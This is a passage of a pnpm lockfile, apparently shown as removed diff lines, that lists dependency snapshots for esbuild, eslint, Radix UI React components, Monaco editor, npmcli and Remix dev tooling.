'@esbuild/netbsd-x64@0.17.6': - optional: true - - '@esbuild/netbsd-x64@0.21.5': - optional: true - - '@esbuild/openbsd-x64@0.17.6': - optional: true - - '@esbuild/openbsd-x64@0.21.5': - optional: true - - '@esbuild/sunos-x64@0.17.6': - optional: true - - '@esbuild/sunos-x64@0.21.5': - optional: true - - '@esbuild/win32-arm64@0.17.6': - optional: true - - '@esbuild/win32-arm64@0.21.5': - optional: true - - '@esbuild/win32-ia32@0.17.6': - optional: true - - '@esbuild/win32-ia32@0.21.5': - optional: true - - '@esbuild/win32-x64@0.17.6': - optional: true - - '@esbuild/win32-x64@0.21.5': - optional: true - - '@eslint-community/eslint-utils@4.9.1(eslint@8.57.1)': - dependencies: - eslint: 8.57.1 - eslint-visitor-keys: 3.4.3 - - '@eslint-community/regexpp@4.12.2': {} - - '@eslint/eslintrc@2.1.4': - dependencies: - ajv: 6.14.0 - debug: 4.4.3 - espree: 9.6.1 - globals: 13.24.0 - ignore: 5.3.2 - import-fresh: 3.3.1 - js-yaml: 4.1.1 - minimatch: 3.1.5 - strip-json-comments: 3.1.1 - transitivePeerDependencies: - - supports-color - - '@eslint/js@8.57.1': {} - - '@floating-ui/core@1.7.4': - dependencies: - '@floating-ui/utils': 0.2.10 - - '@floating-ui/dom@1.7.5': - dependencies: - '@floating-ui/core': 1.7.4 - '@floating-ui/utils': 0.2.10 - - '@floating-ui/react-dom@2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@floating-ui/dom': 1.7.5 - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - - '@floating-ui/utils@0.2.10': {} - - '@humanwhocodes/config-array@0.13.0': - dependencies: - '@humanwhocodes/object-schema': 2.0.3 - debug: 4.4.3 - minimatch: 3.1.5 - transitivePeerDependencies: - - supports-color - - '@humanwhocodes/module-importer@1.0.1': {} - - '@humanwhocodes/object-schema@2.0.3': {} - - '@isaacs/cliui@8.0.2': - dependencies: - string-width: 5.1.2 - string-width-cjs: string-width@4.2.3 - strip-ansi: 7.2.0 - strip-ansi-cjs: strip-ansi@6.0.1 - wrap-ansi: 8.1.0 - wrap-ansi-cjs: wrap-ansi@7.0.0 - - '@jridgewell/gen-mapping@0.3.13': - dependencies: - '@jridgewell/sourcemap-codec': 1.5.5 - '@jridgewell/trace-mapping': 0.3.31 - - '@jridgewell/remapping@2.3.5': - dependencies: - '@jridgewell/gen-mapping': 0.3.13 - '@jridgewell/trace-mapping': 0.3.31 - - '@jridgewell/resolve-uri@3.1.2': {} - - '@jridgewell/sourcemap-codec@1.5.5': {} - - '@jridgewell/trace-mapping@0.3.31': - dependencies: - '@jridgewell/resolve-uri': 3.1.2 - '@jridgewell/sourcemap-codec': 1.5.5 - - '@jspm/core@2.1.0': {} - - '@mdx-js/mdx@2.3.0': - dependencies: - '@types/estree-jsx': 1.0.5 - '@types/mdx': 2.0.13 - estree-util-build-jsx: 2.2.2 - estree-util-is-identifier-name: 2.1.0 - estree-util-to-js: 1.2.0 - estree-walker: 3.0.3 - hast-util-to-estree: 2.3.3 - markdown-extensions: 1.1.1 - periscopic: 3.1.0 - remark-mdx: 2.3.0 - remark-parse: 10.0.2 - remark-rehype: 10.1.0 - unified: 10.1.2 - unist-util-position-from-estree: 1.1.2 - unist-util-stringify-position: 3.0.3 - unist-util-visit: 4.1.2 - vfile: 5.3.7 - transitivePeerDependencies: - - supports-color - - '@monaco-editor/loader@1.7.0': - dependencies: - state-local: 1.0.7 - - '@monaco-editor/react@4.7.0(monaco-editor@0.55.1)(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': - dependencies: - '@monaco-editor/loader': 1.7.0 - monaco-editor: 0.55.1 - react: 18.3.1 - react-dom: 18.3.1(react@18.3.1) - - '@monaco-editor/react@4.7.0(monaco-editor@0.55.1)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@monaco-editor/loader': 1.7.0 - monaco-editor: 0.55.1 - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - - '@nodelib/fs.scandir@2.1.5': - dependencies: - '@nodelib/fs.stat': 2.0.5 - run-parallel: 1.2.0 - - '@nodelib/fs.stat@2.0.5': {} - - '@nodelib/fs.walk@1.2.8': - dependencies: - '@nodelib/fs.scandir': 2.1.5 - fastq: 1.20.1 - - '@npmcli/fs@3.1.1': - dependencies: - semver: 7.7.4 - - '@npmcli/git@4.1.0': - dependencies: - '@npmcli/promise-spawn': 6.0.2 - lru-cache: 7.18.3 - npm-pick-manifest: 8.0.2 - proc-log: 3.0.0 - promise-inflight: 1.0.1 - promise-retry: 2.0.1 - semver: 7.7.4 - which: 3.0.1 - transitivePeerDependencies: - - bluebird - - '@npmcli/package-json@4.0.1': - dependencies: - '@npmcli/git': 4.1.0 - glob: 10.5.0 - hosted-git-info: 6.1.3 - json-parse-even-better-errors: 3.0.2 - normalize-package-data: 5.0.0 - proc-log: 3.0.0 - semver: 7.7.4 - transitivePeerDependencies: - - bluebird - - '@npmcli/promise-spawn@6.0.2': - dependencies: - which: 3.0.1 - - '@pkgjs/parseargs@0.11.0': - optional: true - - '@playwright/test@1.58.2': - dependencies: - playwright: 1.58.2 - - '@radix-ui/number@1.1.1': {} - - '@radix-ui/primitive@1.1.3': {} - - '@radix-ui/react-arrow@1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-checkbox@1.3.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-previous': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-size': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-collection@1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-compose-refs@1.1.2(@types/react@18.3.28)(react@19.2.4)': - dependencies: - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-context@1.1.2(@types/react@18.3.28)(react@19.2.4)': - dependencies: - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-dialog@1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-focus-guards': 1.1.3(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) - aria-hidden: 1.2.6 - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - react-remove-scroll: 2.7.2(@types/react@18.3.28)(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-direction@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-focus-guards@1.1.3(@types/react@18.3.28)(react@19.2.4)': - dependencies: - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-id@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-popover@1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-focus-guards': 1.1.3(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-popper': 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) - aria-hidden: 1.2.6 - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - react-remove-scroll: 2.7.2(@types/react@18.3.28)(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-popper@1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@floating-ui/react-dom': 2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-arrow': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-rect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-size': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/rect': 1.1.1 - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-portal@1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-presence@1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-primitive@2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-primitive@2.1.4(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-slot': 1.2.4(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-roving-focus@1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-collection': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-direction': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-select@2.2.6(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/number': 1.1.1 - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-collection': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-direction': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-focus-guards': 1.1.3(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-popper': 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-previous': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-visually-hidden': 1.2.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - aria-hidden: 1.2.6 - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - react-remove-scroll: 2.7.2(@types/react@18.3.28)(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-separator@1.1.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-primitive': 2.1.4(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-slot@1.2.3(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-slot@1.2.4(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-tabs@1.1.13(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-direction': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-roving-focus': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-tooltip@1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/primitive': 1.1.3 - '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-popper': 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-visually-hidden': 1.2.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/react-use-callback-ref@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-use-controllable-state@1.2.2(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/react-use-effect-event': 0.0.2(@types/react@18.3.28)(react@19.2.4) - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-use-effect-event@0.0.2(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-use-escape-keydown@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-use-layout-effect@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-use-previous@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-use-rect@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/rect': 1.1.1 - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-use-size@1.1.1(@types/react@18.3.28)(react@19.2.4)': - dependencies: - '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) - react: 19.2.4 - optionalDependencies: - '@types/react': 18.3.28 - - '@radix-ui/react-visually-hidden@1.2.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': - dependencies: - '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - react: 19.2.4 - react-dom: 19.2.4(react@19.2.4) - optionalDependencies: - '@types/react': 18.3.28 - '@types/react-dom': 18.3.7(@types/react@18.3.28) - - '@radix-ui/rect@1.1.1': {} - - '@remix-run/dev@2.17.4(@remix-run/react@2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3))(@remix-run/serve@2.17.4(typescript@5.9.3))(@types/node@25.3.2)(lightningcss@1.32.0)(typescript@5.9.3)(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0))': - dependencies: - '@babel/core': 7.29.0 - '@babel/generator': 7.29.1 - '@babel/parser': 7.29.0 - '@babel/plugin-syntax-decorators': 7.28.6(@babel/core@7.29.0) - '@babel/plugin-syntax-jsx': 7.28.6(@babel/core@7.29.0) - '@babel/preset-typescript': 7.28.5(@babel/core@7.29.0) - '@babel/traverse': 7.29.0 - '@babel/types': 7.29.0 - '@mdx-js/mdx': 2.3.0 - '@npmcli/package-json': 4.0.1 - '@remix-run/node': 2.17.4(typescript@5.9.3) - '@remix-run/react': 2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3) - '@remix-run/router': 1.23.2 - '@remix-run/server-runtime': 2.17.4(typescript@5.9.3) - '@types/mdx': 2.0.13 - '@vanilla-extract/integration': 6.5.0(@types/node@25.3.2)(lightningcss@1.32.0) - arg: 5.0.2 - cacache: 17.1.4 - chalk: 4.1.2 - chokidar: 3.6.0 - cross-spawn: 7.0.6 - dotenv: 16.6.1 - es-module-lexer: 1.7.0 - esbuild: 0.17.6 - esbuild-plugins-node-modules-polyfill: 1.8.1(esbuild@0.17.6) - execa: 5.1.1 - exit-hook: 2.2.1 - express: 4.22.1 - fs-extra: 10.1.0 - get-port: 5.1.1 - gunzip-maybe: 1.4.2 - jsesc: 3.0.2 - json5: 2.2.3 - lodash: 4.17.23 - lodash.debounce: 4.0.8 - minimatch: 9.0.9 - ora: 5.4.1 - pathe: 1.1.2 - picocolors: 1.1.1 - picomatch: 2.3.1 - pidtree: 0.6.0 - 